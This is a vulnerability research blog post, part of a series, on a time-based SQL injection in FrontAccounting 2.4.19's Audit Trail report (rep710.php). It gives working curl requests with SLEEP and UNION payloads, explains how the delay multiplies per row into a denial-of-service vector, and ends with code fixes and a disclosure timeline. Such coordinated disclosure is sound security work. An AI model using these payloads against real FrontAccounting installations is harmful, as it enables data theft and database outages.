Series
FrontAccounting 2.4.19 Vulnerability Research — View all write-ups

Series Navigation

This is Part 3 of a 4-part series on vulnerabilities in FrontAccounting 2.4.19.

70 Seconds of Silence

After finding the UNION injection in rep601.php (Part 2), I wanted to know how deep the reporting module's injection problem went. I started reading more report files, looking for the same pattern: $_POST['PARAM_N'] concatenated into SQL without parameterization or integer casting.

rep710.php — the Audit Trail report — looked injectable. I sent a test payload with SLEEP(2). I expected a 2-second delay. The request hung for 70 seconds.

That's when the math got interesting.

The Vulnerable Code

File: reporting/rep710.php

// Lines 62-63
$systype = $_POST['PARAM_2'];
$user = $_POST['PARAM_3'];

// Line 45 — the primary injection point
$sql .= "AND a.type=$systype ";

The $systype variable (sourced from PARAM_2) is an integer used in a WHERE clause, unquoted and unsanitized. Same pattern as Part 2. But the query structure is different — this one joins across the audit_trail table and related GL tables in a multi-table query.

There's a second injection point at line 47:

$sql .= "AND a.user='$user' ";

PARAM_3 goes into a string-quoted context. Different injection mechanism, but also exploitable. I'll come back to that.

The SLEEP Amplification Effect

Here's what makes rep710.php distinct from rep601.php. When MySQL evaluates a query like:

SELECT ... FROM audit_trail a JOIN ... WHERE a.type = 1 OR SLEEP(2)-- -

The SLEEP(2) function is evaluated for every row that participates in the JOIN result set. If the JOIN produces 35 rows, SLEEP(2) executes 35 times. 2 seconds times 35 rows equals 70 seconds.

This isn't a MySQL bug — it's how predicate evaluation works in a row-by-row scan. The OR SLEEP(2) becomes part of the WHERE clause filter, and the database engine evaluates it for each candidate row. With an OR, if the left side is true, the right side is short-circuited for that row. But for rows where a.type = 1 is false, SLEEP(2) executes.

The audit trail table in a populated FrontAccounting instance accumulates rows with every transaction. The more activity, the more rows, the worse the amplification. On a production system with years of audit data, a SLEEP(1) could lock a database connection for minutes or hours.

Confirmed Timing

Baseline (normal request):

time curl -sk -b "$COOKIE" -X POST "${TARGET}/reporting/prn_redirect.php" \
  -d 'REP_ID=710&PARAM_0=01/01/2020&PARAM_1=01/01/2030&PARAM_2=1&PARAM_3=-1&PARAM_4=&PARAM_5=0&PARAM_6=0' \
  -o /dev/null

Result: 0.090 seconds

Injection with SLEEP(2):

time curl -sk -b "$COOKIE" -X POST "${TARGET}/reporting/prn_redirect.php" \
  --data-urlencode "REP_ID=710" \
  --data-urlencode "PARAM_0=01/01/2020" \
  --data-urlencode "PARAM_1=01/01/2030" \
  --data-urlencode "PARAM_2=1 OR SLEEP(2)-- -" \
  --data-urlencode "PARAM_3=-1" \
  --data-urlencode "PARAM_4=" \
  --data-urlencode "PARAM_5=0" \
  --data-urlencode "PARAM_6=0" \
  -o /dev/null

Result: 70.159 seconds

70,159 milliseconds versus 90 milliseconds. A 780x amplification factor. The SLEEP(2) per row, multiplied across 35 rows in the JOIN, produces a 70-second server-side delay from a single HTTP request.

Terminal showing timing comparison between baseline and SLEEP-injected requests
Terminal showing timing comparison between baseline and SLEEP-injected requests
Burp Suite showing the response time for the SLEEP-injected request
Burp Suite showing the response time for the SLEEP-injected request

The DoS Angle

This amplification isn't just an exploitation curiosity — it's a practical denial-of-service vector. Consider:

  • SLEEP(30) on a table with 35 rows = 1,050 seconds (17.5 minutes) per request
  • A production system with 10,000 audit trail rows and SLEEP(1) = 10,000 seconds (2.8 hours) per request
  • Each request holds a database connection for the entire duration
  • MySQL's default max_connections is 151

A handful of concurrent requests with high SLEEP values could exhaust the database connection pool and lock out every other user of the application. This is a single-request DoS that scales with data volume.

I didn't test this at scale (out of scope for the engagement), but the math is straightforward.

The Second Injection Point: PARAM_3

PARAM_3 flows into a string-quoted context: AND a.user='$user'. The quotes are there, but as covered in Part 1, html_cleanup() encodes single quotes to '. So on the surface, you'd think the string injection is blocked.

It gets more nuanced. The payload:

PARAM_2=0&PARAM_3=-1' UNION SELECT 1,2,3,4,'2025-01-01',6,7,'2025-01-01',8,9,'admin',11-- -

This produced a response of 2,399 bytes versus a 2,401 byte baseline — different enough to suggest the UNION data was rendered into the PDF. Two independent injection points in the same query, through two different mechanisms (unquoted integer and string context).

For practical exploitation, the PARAM_2 integer injection is easier and more reliable. But the existence of the second vector in PARAM_3 broadens the attack surface and provides an alternative path if the integer parameter were to be fixed independently.

What Didn't Work

I tried reducing the SLEEP duration to minimize amplification. SLEEP(0.1) still produced a multi-second delay due to multiplication across rows. There's no way to inject a SLEEP that's both detectable and fast when the amplification factor is unknown — you have to accept the multiplication.

I also tried BENCHMARK() as an alternative to SLEEP() for time-based confirmation. It works, but SLEEP() is simpler and the amplification makes even small values trivially detectable.

For data extraction via time-based blind technique: it works, but it's painfully slow given the amplification. Each boolean test (one bit of information) takes 70+ seconds. Extracting a 32-character MD5 hash bit by bit would take hours. With UNION injection already available in rep601.php (Part 2), there's no practical reason to extract data through this slower channel. I confirmed the injection is real and moved on.

Variant Analysis

After finding rep601.php and rep710.php, the pattern was clear: report files read POST parameters and concatenate them into SQL. I searched for all instances of this pattern across the reporting module's 52+ files. The same root cause — unparameterized integer values in WHERE clauses — appears in multiple reports. Parts 2, 3, and 4 of this series each demonstrate a different exploitation technique (UNION, time-based blind, boolean-based blind), but they share the same underlying vulnerability class.

The required permission for rep710.php is SA_GLANALYTIC, assigned to standard accounting roles. No admin privileges needed.

FrontAccounting Audit Trail report form showing the parameter fields
FrontAccounting Audit Trail report form showing the parameter fields

Remediation

Immediate fix for rep710.php:

// Replace:
$systype = $_POST['PARAM_2'];

// With:
$systype = (int)$_POST['PARAM_2'];

And for the string parameter:

// Replace:
$user = $_POST['PARAM_3'];

// With:
$user = db_escape($_POST['PARAM_3']);
// And ensure the query uses: AND a.user=$user (db_escape adds quotes)

Systemic recommendation: Same as Part 2 — the reporting module needs a centralized parameter validation layer. Integer parameters should be cast. String parameters should go through prepared statements or the database driver's escape function. The report dispatcher (prn_redirect.php) is the right place to enforce this before delegating to individual report files.

Rate limiting note: Even after fixing the injection, the amplification behavior is worth understanding. Any query that evaluates expressions per-row across large tables is a potential resource consumption vector. Consider query timeouts (MAX_EXECUTION_TIME hint or wait_timeout configuration) as a defense-in-depth measure.

Disclosure Timeline

Date Event
2026-04-11 Vulnerability discovered during independent security research
2026-04-16 Vendor notified with full technical details
2026-04-17 Vendor acknowledgment
2026-04-17 CVE-2026-40523 assigned
2026-04-26 Version 2.4.20 released with the fix
2026-06-27 Public disclosure

Next: Part 4 covers a boolean-based SQL injection in the Journal Entries report, where the IN() clause creates a response-size oracle with a 132x differential.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch